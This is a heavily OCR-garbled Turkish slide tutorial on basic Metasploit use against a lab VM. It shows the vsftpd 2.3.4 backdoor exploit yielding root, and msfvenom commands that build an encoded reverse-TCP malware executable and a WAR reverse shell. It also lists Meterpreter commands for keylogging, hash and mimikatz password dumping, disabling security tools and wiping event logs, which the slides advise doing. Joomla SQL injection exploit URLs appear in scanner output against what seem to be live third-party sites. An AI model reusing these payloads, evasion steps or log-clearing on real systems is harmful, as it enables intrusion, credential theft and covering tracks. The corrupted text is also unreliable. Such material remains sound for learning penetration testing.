PORET STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
ftp- rsttpd-backdoor:
VULMNERAEBLE:
vsFTPd version 2.3.4 backdoor
State: XHLNER'ELE iExploitable?
IDs: OsSVDE: 2 CVE:CVE-2011-2523
vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
Disclosure date: “311 07-03
Exploit results:
Shell command: 1d
Fesults: uid=0(root) gid=0(root)
Rpfelence"
/ wta|~beaataeuu|1t, blogspot.com/2011/07 /alert-vsftpd-download-backdoored.html

ve.mitre.org/cgl-bin/cvename.cgi?name=CVE- 2011- 2523
f /OSN dh.nlq 73573

E;_qlthub aﬁm;rapid?;metaﬁploit-framework;blob;ma?ter;moduleﬁfexploitﬁgunix;ftp;v;
ckdoor.rb

00:0C:29:FA:DD: 28 (VMware)



https://nmap.org/nsedoc/scripts/ftp-vsftpd-backdoor.html

Temel Metasploit Kullanimi | Hakkinda

Metasploit,Rapid7 firmasinin gok dnemli bir guvenlik yazilimidir.

Metasploit,guvenlik agiklari hakkinda bilgi verip bu agikliklara sizmaya yardimci
olan bir yazilimdir.

Ruby ile yazilmis olan igerisinde exploitler,payloadlar,auxiliaryler ve encoderlerin
bulundugu frameworkdur.

Veritabani olarak postgresql kullanmaktadir.
Kali Linux igerisinde kurulu olarak gelmektedir.
Terminalden msfconsole olarak ve grafiksel olarak Armitage ile kullanilabilir.

Metasploit icinde Nmap taramasida yapilabilmektedir.
s



Temel Metasploit Kullanimi | Terimler

Vulnerability: Turkgcede zayiflik anlamina gelen sistemde bulunan acikliktir.
Auxiliary: Sizma oncesi sistem hakkinda bilgi toplamak i¢in bulunan ek moduller

Exploit: Turkcesi somurmek olan sistem agikligindan faydalanarak sisteme sizmamizi
saglayan bilesendir

Payload: Sisteme sizdiktan sonra sistemde istediklerimizi yapmamizi saglayan bilesendir
Shellcode: Exploitin iginde bulunan zararli kod

Encoder : Exploiti AntivirUs,IDS,IPS ve Firewall dan geciren bilesendir



Temel Metasploit Kullanim | Giris

service postgresql start
msfconsole

Ik olarak postgresql veritabanini baslatiyoruz daha sonra msfconsole yazarak
metasploitimizi agiyoruz.

db_status
Komutunu yazarak metasploitin veritabani baglantisini kontrol edebilirsiniz.

db_connect db_disconnect db_import db_export



R N ﬁ a a [ systemctl start postgres... [ root 15:32, 2016—0?—25“

= ; |  EXPLOIT

‘mst =]

PAYLOAD RN

aking notes in notepad? Have Metasploit Pro track & report
our progress and findings -- learn more on http://rapid?7.com/metaspleit

=[ metasploit v4.11.5-2016010401 ]

-- --=[ 1517 exploits - B75 auxiliary - 257 post ]

-- --=[ 437 payloads - 37 encoders - B nops ]

-- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

st = db_status
1 poitgresql connected to msf




db_nmap -sS -sV -O 192.168.237.129
[ root 1550, 2015-07-25n

=[ metas it v4.11.5-201 13401 S
.- --=[ 1517 expl)lt“ - S auxiliary
-- --=[ 437 payloads - 37 encoders -
e Mﬁt'a_-.plnt Pro trial: http Jfir-7.coftrymsp ]

db_status
postgresgl conne

db_nmap -sS -sVv -0
Nma Starting MNmap 7.01
Mmap: MNmap scan re rt for.lomed:

)
I+ i

] at 2016-07-25 15:50 EDOT

Mmap: Host is up (0.00018s laten
MNmap: Mot shown: 976 closed ports
Mmap : POF\'T WICE
MNmap = npen 2.3.4
Mmap : open 4.7pl Debian Subuntul (protocol 2.0]
Mmap : open telnet Linux telnetd
Mmap : open smtp Postfix
Mmap : open domain = BIND
MNmap : open http ache httpd 2.2.8 (({Ubuntu)
Nmap : open rpcbind (RPC #100000)
Mmap : open netbios mba smbd (workgroup: WORKGROLP)
Nmap : open netbios Samba smbd : (workgroup: WORKGROLP)
Hmap : open exec netkit-rsh rexecd
MNmap = open login?
MNmap : open tcpwrapped
Mmap open rmiregistry GMJ Classpath grmiregistry
open shell Metasploitable root shell
open nfs 2-4 [RPC
open Tftp Pr‘)I:rP[ 1k
open  mysql

copen postgresgl Po.—.tﬂr‘e-OI_ [a=] <jiels [ e e
open  wnec {protocol
open X11 (access denied)

open 1irc Unreal 1recd
open ajpl3 Apache Jserw rotocol w1l .
open http -paché Tamcat/Coyote JSP engine 1.1

open mountrl (RPC #100005)
SS: O00:0C:29:FA:DD:2A (WMware)
type: q@n@ral purpose
Running: I_lnLIx X

| o llnux linux_ker
Cinux 2-8.9 = 2.6
rk Distance: 1 hop
ce Info: Hosts metasploitable. localdomain, localhost, irc.Metasploitable.LAMN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
and Service r|=-t-=-c1:1- n performed. Please report any incorrect results at https ‘mmap.org/submity .
MNmap done: 1 IP address (1 host up) scanned in 16.85 seconds

FEOEFFEEEEEREEREEFEREEEEEFEEEFEEREEEEREE Y

8



help komutu ile Metasploitin tUm komutlarini ve parametreleri agiklamalari ile gorebilmekteyiz.

S - i ® @ B @ systemctl start postgres... [J root 03:36, 2016—0?—26“

scription

7 Help menu

advanced Displays advanced options for one or more modules
back Mowve back from the current context

banner Display an awesome metasploit banner

c Change the current working directory

color Toggle color

connect Communicate with a host

edit Edit the current module with $VISUAL or SFEDITOR
exlt Exit the console

get Gets the wvalue of a context-specific variable
getg Gets the value of a global wvariable

grep Grep the output of ancther command

help Help menu

info Displays information about one or more modules
irb Drop into irb scripting mode

jobs Displays and manages jobs

kill Kill a job

load Load a framework plugin

Loadpath Searches for and Loads modules from a path

makere e commands entered since start to a file

options Displays global options or for one or more modules

popm Pops the Llatest module off the stack and makes it active
previous Sets the previously loaded module as the current module
pushm Pushes the active or list of modules onto the module stack
quit Exit the conscle

reload_all Reloads all modules from all defined module paths
rename_job Rename a job

Fun the commands stored in a file

ute traffic through a session

es the active datastores

arches module names and descriptions

ump session listings and display 1nformatlon about sessions
ts a context-specific variable to a walue

ts a global variable to a value

Displays modules of a given type, or all modules

Do nothing for the specified number of seconds

ite console output into a file as well the screen
View and manipulate background threads

threads
unload Unload a framework plugin



\ = . m ﬁ u [ systemctl start postgres...
i

makerc
options
popm
previous
pushm
quit
reload_all
rename_job
resource
route
save
search
sessions
set

setg
show
sleep
spool
threads
unload
unset
unsetg
use
version

Database Backend

Save commands entered since start to a file

Displays global options or for one or more modules

Pops the latest module off the stack and makes 1t active
Sets the previously loaded module as the current module
Pushes the active or list of modules onto the module stack
Exit the conscole

Reloads all modules from all defined module paths

Rename a job

Fun the commands stored in a file

Route traffic through a session

Saves the active datastores

Searches module names and descriptions

Dump session Listings and display information about sessions
Sets a context-specific variable to a wvalue

Sets a global variable to a wvalue

Displays modules of a given type, or all modules

Do nothing for the specified number of seconds

Write console output into a file as well the screen

view and manipulate background threads

Unload a framework plugin

Unsets one or more context-specific variables

Unsets one or more global variables

Selects a module by name

Show the framework and console library wversion numbers

Commands

Command

creds
db_connect
db_disconnect
db_export
db_import
db_nmap
db_rebuild_ca
db_status
hosts

loot

notes
services
vulns
workspace

Description

List all credentials in the database

Connect to an existing database

Disconnect from the current database instance

Export a file containing the contents of the database

Import a scan result file (filetype will be auto-detected)

Executes nmap and records the output automatically
che Rebuilds the database-stored module cache

Show the current database status

List all hosts in the database

List all Lloot in the database

List all notes in the database

List all services in the database

List all vulnerabilities in the database

Switch between database workspaces

B root 03:37, 2016—0?—26“




Temel Metasploit Kullanima

search Komutu

search <aranan exploit,payloads,cve numarasi yada genel bir ifade >



m m n [ systemctl start postgres...

> search ftp

Matching Modules

REE]

auxiliary/admin/cisco/vpn_3000 ftp_bypass
auxiliary/admin/officescan/tmlisten_traversal
auxiliary/admin/tftp/tftp_transfer_util
auxiliary/dos/ scada’dzo  tTtp_overflow
aux111arwfdoa,wlﬂdOw;:ftp (filezilla admin_user
auxiliary/d ' Tt ilezilla_server_port
uildftp_ CndllSt
auxiliary/ i /11575 _ftpd_i1ac_bof
auxiliary/dos ;Wlndowa,ftpjlla 1ist _exhaustion
auxiliary/dos/ wlnd0wqfftpfsolarftp user
auxiliary/ dos:' ;!
auxiliary/dos/ w cftpsso_list
auxiliary/ do:,wlndOW; ftp,wlnftpz30 nlst

measyS70_nlst
au31llary, b:tftp 'pPt360_write
auxiliary/dos/windows,/tftpssolarwinds
auxiliary/fuzzers/ftp/client_ftp
auxiliary/fuzzers/ftp/ftp_pre_post
auxiliary/gather/apple_safari_ftp_url_coockie theft
auxiliary/gather/d20pass
auxiliary'gather;konica_minolta_pwd_extract
auxiliary/scanner/ftp/anonymous
auxiliary/scanner/ftp/bison_ftp_traversal
aux111ary,acanner;ftp,ftp login
auxiliary/scanner/ftp/ftp_version
auxiliary/scanner/ftp/konica_ftp_traversal
auxiliary/scanner/ftp/pcman_Ttp_traversal
auxiliary/scanner/ftp/titanftp_xcrc_traversal
auxlllary,scanner ‘http/titan_ftp_ admin_pwd
auxiliary/scanner/misc/zenworks_preboot_fileaccess
auxiliary scannerfportscanfftpbounce
auxiliary/scanner/quake/server_info
auxiliary/scanner/rsync/modules_list
auxiliary/scanner/snmp/cisco_config_tftp
auxiliary/scanner/snmp/clsco_upload_file
auxiliary/scanner/ssh/cerberus_sftp_enumusers
auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp
auxiliary/scanner/tftp/netdecision_tftp
auxiliary/scanner/tftp/tftpbrute

Disclosure

2012-01-19
2005-11-07
2006-12-11
2008-10-12
2010-12-21
2009- 09-03
22
14
24
26
g}
2009-03- 27
2008- 10-29
2010-05-21

2015-04-08
2012-01-185

2015-09-28

2015-09- 22
2015-09-28
2010-06- 15

2014-05-27
2011-12-12
2009-05-16

Rank

normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal

B root 0408, 2016—0?—26“

Description

Cisco WPN Concentrator 3000 FTP Unauthorized Administrative Access
TrendMicro OfficeScanMNT Listener Traversal Arbitrary File Access
TFTP File Transfer Utility

General Electric D20ME TFTP Server Buffer Overflow DoS

Filezilla FTP Server Admin Interface Denial of Serwvice

FileZilla FTP Server Malformed PORT Denial of Serwvice

Guild FTPd 0.992.8.11/0.999.14 Heap Corruption

Microsoft IIS FTP Server Encoded Response Overflow Trigger
Microsoft IIS FTP Server LIST Stack Exhaustion

Solar FTP Server Malformed USER Denial of Serwvice
Titan FTP Server &.26.530 SITE WHO DoS

victory FTP Server 5.0 LIST Dos

WinFTP 2.3.0 NLST Denial of Service

XM Easy Personal FTP Server 5.6.0 NLST DoS

XM Easy Personal FTP Se r 5.7.0 NLST DoS
PacketTrap TFTP Server 2.2.5459.0 DoS

Solarwinds TFTP Server 10.4.0.10 Denial of Service

mple FTP Client Fuzzer

Simple FTP Fuzzer

Apple 0SX/10S/Windows Safari MNon-HTTPOnly Cookie Theft
General Electric D20 Password Recov rery
Konica Minolta Password Extractor
Anonymous FTP Access Detection
BisonwWare BisonFTP Server 3.5 Directory
FTP Authentication Scanner

FTP Version Scanner

Konica Minolta FTP Utility 1.00 Directory Traversal Information Disclosure
PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure

Titan FTP XCRC Directory Traversal Information Disclosure

Titan FTP Administrative Password Disclosure

Movell ZEMworks Configuration Management Preboot Service Remote File Access
FTP Bounce Port Scanner

Gather Quake Server Information

List Rsync Modules

Cisco I0S SNMP Configuration Grabber (TFTPR)

Cisco I0S SHNMP File Upload (TFTPR)

Cerberus FTP Server SFTP Username Enumeration

IpSwitch WhatsUp Gold TFTP Directory Traversal

NetDecision 4.2 TFTP Directory Traversal

TFTP Brute Forcer

Traversal Information Disclosure




Temel Metasploit Kullanim

show Komutu

Istenilen bilesenleri listeyip gérmemizi saglar.

show exploits : Metasploit Uzerindeki tum exploitleri gosterir
show payloads : Metasploit Uzerindeki tum payloadlari gosterir
show targets : Bulunan targetlari listeler

show options: Exploit yada payloadin tum ayarlarini gosterir.



m m u [ systemnct| start postgres... 1) [J root 03:52, 2016—0?—26“

mst = show exploits —

Exploits

Name Disclosure Date Rank Description

aix,local ‘1bstat_path 2013- 09-24 excellent 1bstat $PATH Privilege Escalation

aix/rpc_cmsd_opcode2l 2009- 10- 07 great AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer overflow
aix/rpc_ttdbserverd realpath 2009- 06- 17 great ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)
andr01d’browaer’ samsung_knox_smdm_url 2014-11-12 excellent Samsung Galaxy KNOX Android Browser RCE

android/browser /webview_addjavascriptinterface 2012-12-21 excellent Android Browser and wWebView addlavascriptInterface Code Execution
androidﬁfileformatfadobe_reader_pdf_js_interface 2014-04-13 good Adobe Reader for Android addJavascriptInterface Expleit
android/local/futex_requeue 2014-05-03 excellent Android 'Towelroot' Futex Requeus Kernel Exploit

apple_io0s/ browaer 'satari_libtiff 2006- 08- 01 good Apple 10S MobileSafari LibTIFF Buffer Owverflow

apple_ 1os,emall ‘mobilemail libtiff 2006-08- 01 good Apple 105 MobileMail LibTIFF Buffer Overflow
apple_ios/ssh/cydia_default_ssh 2007-07-02 excellent Apple 105 Default SSH Password Wulnerability
bsdi/softcart/mercantec_softcart 2004-08-19 great Mercantec SoftCart CGI Owverflow

dlalup,multl logln manyargs 2001-12-12 good System V Derived /bin/login Extraneous Arguments Buffer Overflow
firefox/local/exec_shellcode 2014-03- 10 normal Firefox Exec Shellcode from Priwvileged Jawvascript shell
freebsd/ftp/proftp_telnet_iac 2010-11-01 great ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer overflow (FreeBsD)
freebsd/http/watchguard_cmd_exec 2015- 06- 29 excellent Watchguard XCS Remote Command Execution

freebsd/local /mmap 2013-06-18 great FreeBsSD 2 Address Space Manipulation Privilege Escalation
freebsd/local /watchguard_fix_corrupt_mail 2015- 06- 29 manual Watchguard XCS FixCorruptMail Local Privilege Escalation
freebsd/misc/ertrix_netscaler_soap_bof 2014-09-22 normal Citrix MetScaler SOAP Handler Remote Code Execution
freebsd/samba/trans2open 2003- 04- 07 great Samba transZopen Overflow (*+BSD x85)
freebsd/tacacs/xtacacsd_report 2008- 01- 08 average XTACACSD report() Buffer Overflow
freebsdstelnet/telnet_encrypt_keyid 2011-12-23 great FreeBsD Telnet Service Encrypticon Key ID Buffer overflow
hpux/lpd/cleanup_exec 2002- 08- 28 excellent HP-UX LPD Command Execution

irix/Llpd/ tagprlnter exec 2001-09-01 excellent Irix LPD tagprinter Command Execution

llnux ‘antivirus/escan_password_exec 2014- 04- 04 excellent eScan Web Management Console Command Injection

llnux'br0w;er adobe_fla;hplayer_a;launch 2008-12-17 good Adobe Flash Player ActionScript Launch Command Execution Vulnerability
linux;ftp{proftpisreplace 2006-11- 26 great ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
Linux/ftp/proftp_telnet_iac 2010-11-01 great ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
Linux/games,/ut2004_secure 2004- 06- 18 good Unreal Tournament 2004 "secure" Overflow (Linux)
linux/http/accellion_fta_getstatus_. oauth 2015-07- 10 excellent Accellion FTA getStatus wverify scauth_token Command Execution
linux/http/advantech switch_bash_env_exec 2015-12-01 excellent Advantech Switch Bash Environment Variable Code Injection (Shellshock)
linux/httpsairties_login_cgi_bof 2015- 03- 31 normal Airties login-cgi Buffer Overflow
Linux/httpsalecatel_omnipcx_mastercgl_exec 2007-09- 09 manual Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution
llnux,http falienvault sqli exec 2014-04- 24 excellent AlienVault 0OSSIM SQL Injection and Remote Code Execution
linux/http/astium_sqli_upload 2013-09-17 manual Astium Remote Code Execution

Linux/httpsbelkin_login_bof 2014-05- 09 normal Belkin Play N750 login.cgi Buffer overflow
linux/http/centreon_sqli_exec 2014- 10- 15 excellent Centreon SQL and Command Injection

llnux,http,cfme manageiq_evm_upload_exec 2013-09- 04 normal Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal
linux/http/ddwrt_cgibin_exec 2009- 07- 20 excellent DD-WRT HTTP Daemon ﬁrbltrary Command Execution
linux;httpfdlink_authentication_cgi_bof 2013- 02- 08 normal D-Link authentication.cgi Buffer Owverflow

Linux/httpsdlink command php exec noauth 2013-02-04 excellent D-Link Devices Unauthenticated Remote Command Execution



& i - m ﬁ u [ systermnct| start postgres...
s

payloads

Mame

aix/ppcsshell_bind_tep
aix/ppcs/shell_find_port
aix/ppcsshell_interact
alx/ppcsshell_reverse_tcp
android/meterpreter/reverse_http
android/meterpreter/reverse https
android/meterpreter/reverse tcp

android/shell/reverse_http
android/shell/reverse_https
android/shell/reverse_tecp
bsd/sparc/ 'shell_bind _tep
bsd/sparc/shell_reverse_tcp
bsd/x64,

Jexec
shell_bind_ipv6E_tep
shell_bind_tcp
shell_bind_tcp_small
hell_reverse_ipv6_tcp
shell reverse tcp
/shell_reverse_tecp_small
b:d /xB6/exec

S/metsve_bind_tcp

bsd/x86/ 'shell/bind |_ipvE_tecp
shell/bind_tep
shell/find_tag
shellfreverse_ipu@_tcp
shell/reverse_tcp
shell_bind_tcp

shell bind tcp_ipvs
shell find port

shell _find_tag
shell_reverse_tcp
shell_reverse_tcp_ipvE

rbind_awk

cmd/ unlx

Disclosure Date

Rank

normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal

Description

ATX
AT X

command shell,
Command shell,

Bind TCP Inline
Find Port Inline

AIX execve Shell for inetd

ALK

Android
Android
Android
Command

Command
Cemmand

BSD
BSD
BsD
B
ESD
BsSD
ESD
BsSD
BsD
BsD

FreeBsD

) x64

Command shell,

1d Meterpreter
Meterpreter
Meterpreter
shell, Dalw
shell, Dalw
Shell, Dalw
Command shell,

Command shell,

x 64

Command She
xE4
x64 Command She
x64 Command e
x64 shell Rever
x64 Command She
Execute Command
Meterpreter

FreeBsSD Meterpreter

BSD1
BSD1
BSD1
BESD1
BSD1
Unix

shell,
shell,
shell,
shell,
shell,
shell,
shell,
shell,

Command
mmand
mmand
—ommand
Command
ommand
ommand
mmand
mmand
mmand
Command S
Command

Command Shell,
Command Sl
Command =
Command Shell,
Command sShell,

Inline

erse HITP Stager
, Dalvik Reverse HITPS Stager
, Dalvik Reverse TCP Stager
1k Reverse HTTP

Reverse TCP
, Dalvik Rew

/1k Reverse HTTPS Stager

1k Reverse TCP Stager
Bind TCP Inline
Reverse TCP Inline

Execute Command

11, Bind TCP Inline (IPvE&)

shell Bind TCP

11, Bind TCP Inline

11, Rewverse TCP Inline (IPv&)
5el e

11, Reverse TCP Inline

Bind TCP
Reverse TCP Inline
Stager (IPw&)
Bind TCP Stager

Find Tag Stager

Reverse TCP Stager (IPv6)
Reverse TCP Stager

Bind TCP Inline

Bind TCP Inline (IPv&)
Find Port Inline

Find Tag Inline

Reverse TCP Inline
Reverse TCP Inline (IPvE)
Bind TCP Stager

Reverse TCP Stager

Bind TCP Inline

Find Port Inline
Reverse TCP Inline

Bind TCP (via AWK)

Serv
Sarv
Bind

Sige:,
ice,
Tep




Temel Metasploit Kullanima

use Komutu
Istenilen exploiti yada payload 1 secmek icin kullantlir.

use <exploit_adi> use <payload_adi>



- m m n [ systemctl start postgres...

B root 04:13, 2016—0?—26“

m > search Rt

Matching Modules

Name Disclosure Date Rank

exploit/unix/ftp/vsftpd_234 backdoor 2011-07-03 excellent

msf > use exploit/unix/ftp/vsftpd_234 backdoor
msf exploit({vsftpd_234 backdoor) =

Description

.3.4 Backdoor Command Execution



Temel Metasploit Kullanim

set Komutu
Bir degiskene deger aktarmak icin kullanilir.
set RHOST <hedef (kurban) ip_adresi>

set LHOST <local (kendi)_ip_adresimiz>



\ = . m m n [ systemctl start postgres... " [ root 04:17, 2016—0?—26“
i

Matching Modules

Mame Disclosure Date Rank Description

exploitsunix/ftps/vsftpd_234 backdoor 2011-07-03 excellent 2.2.4 Backdoor Command Execution

msf = use expl-:-lt unLx 'Ftp-"- S'Ftpd 234 backdoor
msf exploit(vs i : ( = show options

Module opticns (exploit/sunix/ftp/vsftpd_234 backdoor):

Name Current Setting Required Description
RHOST yes The target address
RPORT 21 yes The target port

Exploit target:

Id Mame
o] Automatic

mst exploit(vstt 234 _back r) = set RHOST 192.168.237.169
OST == 192.168.237.169 _

msf exploit{vsftpd_234 ba ) > show options

Module opticns (exploit/sunix/ftp/vsftpd_234 backdoor)

Name Required Description
RHOST yes The target address
RPORT yes The target port

Exploit target:
Id MName

o Automatic

msf exploit( tpd_ oor) > i



Temel Metasploit Kullanim

setg Komutu

Degiskenlere global olarak deger atar.Her bir baska exploit yada payload ta o
degiskene yeniden deger girmeniz gerekmez.

setg RHOST <hedef_ip> : RHOST degiskenine global deger atar.

setg LHOST <local_ip> : LHOST degiskenine global deger atar.



Temel Metasploit Kullanim

unset Komutu
Degiskene aktarilan degeri iptal eder.
unset LHOST : LHOST degiskeninin degerini iptal eder.

unset RHOST : RHOST degiskeninin degerini iptal eder.



\ = - m m n [ systemctl start postgres...
b

B root oa:22, 2016—0?—26“

Exploit target:

Id MName

0 Automatic

J = set RHOST 192.188.237.169

3. 237.169

)} = show options

Module opticns (exploit/sunix/ftp/vsftpd_234 backdoor):

Name Current Setting Required Description
yes The target address
yes The target port
Exploit target:
Id Mame
o] Automatic
msf exploit(wstt 234 _back r) = unset RHOST
Unsetting RHOST... -
msf exploit{vsftpd_234 ba ) > show options

Module opticns (exploitsunix/ftp/vsftpd_234 backdoor):

Name Current Setting Required Description
RHOST yes The target address
RPORT 21 yes The target port

Exploit target:
Id MName

o Automatic

msf exploit( tpd_ oor)



Temel Metasploit Kullanim

exploit ve run Komutu

Eger bir exploit secmis ve show options komutundan sonra istenilen degerleri
set komutu ile girildikten sonra exploit denir ve exploit calistirilir.

Eger bir payload secmis isek yine show options komutu girilir ve istenilen deger
yine set komutu ile girildikten sonra run denir ve payload calistirilir.



[ root 02:56, 2016—0?—2?E E=

[ armitage

[ Connect...

N mEF0

root: 1# armitage

[
]

nnect | | Help |




\ - m ﬁ n & Armitage [F] armitage [J root 02358, 2016—0?—2?“

192.168.237.129




Meterpreter,Metasploit'in en ¢ok kullanilan payloadlarindan biridir.

Bir sistemde exploit calistirdiktan sonra meterpreter satirina dustikten sonra meterpreter
komutlari kullanilir.

sysinfo : Sistem hakkinda bilgi verir.
getuid : Sisteme hangi yetkilerle erisim sagladigimizi verir.
getpid : Sistem PID numarasini getirir.

ipconfig -a : Sistemin Network bilgilerini getirir.

=r #1 SMP Thu Apr

gid=65534, euid=110, egid=655324, suid=110

~rent pid:



Temel Metasploit Kullanim1 | Meterpreter

run checkvm: Hedef makinanin sanal makina olup olmadigina bakar.

run keylogrecorder : Hedef sistemde keyloger baslatir.

run getgui -e : Hedef sistemde RDP(Remote Desktop Protocol) acar.

run getcountermeasure : Hedef sistemdeki guvenlik programlari devre digi kilar.
backgraund : Aktif sessioni arka plana alir.

ps: Surecleri gosterir.

kill PID : PID numarali sureci oldurur.



Temel Metasploit Kullanim1 | Meterpreter

download: Hedeften dosya indirmek i¢in kullanilir.

migrate : Guvenilir bir process’e gecis yapmak igin kullanilir.

hashdump : Sistem Uzerinde bulunan parola dumplarini ¢eker.

Shell : Hedef sistemin komut satirina gegmemizi saglayan komut.

load mimikatz : Sisteme mimikatz yuklenir.

mimikatz_command —f sekurlsa::searchPasswords : Bellekteki sifreleri getirir.
clearev : Eventloglari temizler.

run event_manager -c : Tum eventloglari silmemizi saglar.



Temel Metasploit Kullanim1 | Meterpreter

Daha bir gcok meterpreter komutu bulunmaktadir.En ¢ok kullanilanlara deginmeye
calistim.

Sizma testinin asil amaci unutulmamalidir sisteme zarar vermeden ele gegirilen tim
bilgiler ekran goruntuleri alinarak sifreler not alinarak kullaniciya rapor sunmaktir.

Sisteme sizip hakkinda yeterli bilgi toplandiginda mutlaka sistemden cikis yapiimali ve
loglar temizlenmelidir.



Temel Metasploit Kullanim1 | MSFVenom

MSFVenom, msfpayload ve msfencode u birlestirerek karsimiza gelmistir.
MSFVenom ile backdoor olusturmamizi saglar.

msfvenom -h ile tim parametrelerine ulasabilirsiniz.



Temel Metasploit Kullanim1 | MSFVenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.237.128
LPORT=4444 -f exe -0 /root/Desktop/zararli.exe -e x86/shikata_ga_ nai -i 20

Yukaridaki msfvenom komutu ile payloadimizi sectikten sonra haberlesecegi ip ve
portu belirterek zararli.exe olusturarak shikata _ga_ nai ile 20 kere encode ettik



Temel Metasploit Kullanim1 | MSFVenom

msfvenom -p javaljsp_shell_reverse _tcp LHOST=192.168.237.128
LPORT=4444 -f war > /root/Desktop/shell.war

Yukaridaki msfvenom komutu ile payloadimizi sectikten sonra haberlesecegi ip ve
portu belirterek war uzantili shell.war java shellini olugturduk.



Aciklik Tarama Araclari ve Kullanimi

Aciklari taramak icin Networkte OpenVAS,Nessus ve Nexpose gibi araclar
bulunmaktadir.Web acikliklari icin Nikto,Wpscan,Joomscan,Sqlmap,Netsparker
ve Acunetix gibi tarama araclari bulunmaktadir.Bu dokiimanda ben Nexpose ile
aclklik tarayacagim.Nexpose Rapid7 tarafindan gelistirimekte ve Metasploit ile
entegre olabilmektedir.Agagidaki linkten Nexpose'u indirip kurabilirsiniz.

https://www.rapid7.com/products/nexpose/compare-downloads.isp

Nexpose un Ucretli ve Ucretsiz iki stirimii var istediginiz stirim( kurduktan sonra
https://localhost:3780/ adresinden Nexpose’un arayuzune ulasabilirsiniz.



https://www.rapid7.com/products/nexpose/compare-downloads.jsp
https://www.rapid7.com/products/nexpose/compare-downloads.jsp
https://localhost:3780/
https://localhost:3780/

Nikto, web server Uzerinde bulunan guvenlik agigi tarama uygulamasidir. Perl
diliyle yazilmistir ve Ucretsizdir. Web sayfasinda bulunabilecek XSS, SQL Injection
benzerl guvenllk zaaflarlnl tesplt eder.

r can hint te the ussc a




WPScan WordPress sistemlerdeki aciklari taramaya yarayan bir guvenlik
tarayicisidir. “Username Enumeration” “Password Bruteforce” “Wordpress
Versiyon Enumeration” ve “Plugin,Theme Vulnerability Enumeration” 6zelliklerini

LN 1]

ing entry from robots.txt: http

sting entry from robots.txt: https://tr.owe




Joomscan aract OWASP tarafindan gelistirilmis bir aractir.

Joom S|teler|ndek| guvenllk aglklarlnl tesplt etmek amaC|yIa kullanilir.
2.t “ﬁil'»gf@»  http: joomlat NPT T T Loat - O X

. ty Entries
date: February



arget: http:/ fweww.joomlatr.org

¥-Powered-By: PHP/S.6.

##%# Checking 1f the target has deployed an Anti-Scanner measure

[{] Scamning Passed

## Detecting Joomla! based Firewall

[!] Mo known Tirewall detected!

## Fingerprinting 1n progress

~Unable to detect the version. Is 1t sure

#%# Fingerprinting done.

## 1 Components Found 1in front page ##




- CoreComponent: com_content SOL Injection Vulnerability
Version Affected: Joomla! 1.0.0 ==
Check : JSocomponents/com content/
Exploit: sindex.php?option=com content&task=blogcategory&l d=80&1I tem d=9999%+ NI O
H+SELECT+1,concatiOxle,username,Dan,paeiword,Dxle,Dan,UEePtype,Dxleﬁ,3,4,5+FRD
M+jos users+wheretusertype=0x5S3757065722041646d696e6973747261746172- -
Vulnerable? No

- CoreComponent: com search Bemote Code Execution Vulnerability
Version Affected: Joomla! 1.5.0 beta 2 ==
Check: /components/com searchy/
' Jindex.php?option=com search&ltemid=1&searchword=%22%3Becho%20md=(2911)%

CoreComponent: MailTo SQL Injection Vulnerability
Versions effected: MN/A
Check: /components/com mailto/
Exploit: /index.php?option=com mailto&tmpl=mailto&article=550513+and+1=2+union+s
elect+concat(username,char(58) ,password)+fromjos users+wheretusertype=0x5375706
5722041646d696e6973747261 7461 72- - &altemid=1
Vulnerable? MNo




Hacker 101 : Netsparker

File View Reporting Tools Help -

@SﬁarﬁNmScan @Sﬁaﬁlnctementai&:an - | ,;E:impc.ﬁ Lipks-= |_| Start Prowy =

,,'-!m_ Vulnerakyils — - . : ﬁ

Yo _ piploitation - [.Z]-Generate Exploit =) Short MNames 7| =
Target Website or Web Service URL =3
F =
https:.//muhtesemyemektarifleri.com A i =
L =

i Options 1
© _pt e
| G‘//ZQ Scan Settings || | ScanPolicy g

| o/ General || ||pefautt Security Checks v e f
General -
| &= Scope = = fes and bug fixes. Click on the below
eport Policy

U L& Imported Links
@ URL Rewrite

g2 T - Custom Cookies
| T L

\wﬂ'?;m I Form

p Basic, NTLM/Kerberos

Default Report Policy e

ol
-]
]
i
z
=
=
=5
o

| 0% | . ] Client Certificate . Crawling
0000 / 0000 r— = [#] Find and Follow Mew Links :: .
R o e [#] Enable Crawl & Attack at the Same Time :ﬂ_‘:{o:jﬂ
Current Speed: 0,0 req/sec Pause Scan After Crawling I Group Issues by
Average Speed: 0,0 req/sec ] & Vulnerability Type

Total Requests: 0

Failed Requests: O

HEAD Requests: 0 |r Start Scan |4r| |_r Cancel || 71 Confirmation
Elapsed Time: 00:00:00 |

7 Severity

1 URL
l * Issues (07 E. Encoder ! Lo i}
Metsparker is ready to go! | | Mo vulnerability database updates found. | ﬁa Proxy: System[None] |




Hacker 101 : Netsparker

File View Reporting Tools Help -

i (73 Start Mew Scan () Start Incremental Scan (1) Pause (W) Skip Current Phase -

| o
I wng cmecponeencee ~ IMUNTESEMYEMektarifleri.com

~ [ wp-includes
|MPOR T Concurrent Connections: &

B js
0 Directory Listing (LiteSpeed)

i
[ Mixed Content over HTTPS ; 7 ; ; T : i i . . . ) \ . ] ] . ] ] . . . =
@ Out-of-date Version (jQuery) - {5 7]
o Missing X-X55 Protection Header s Activi_ty_ w
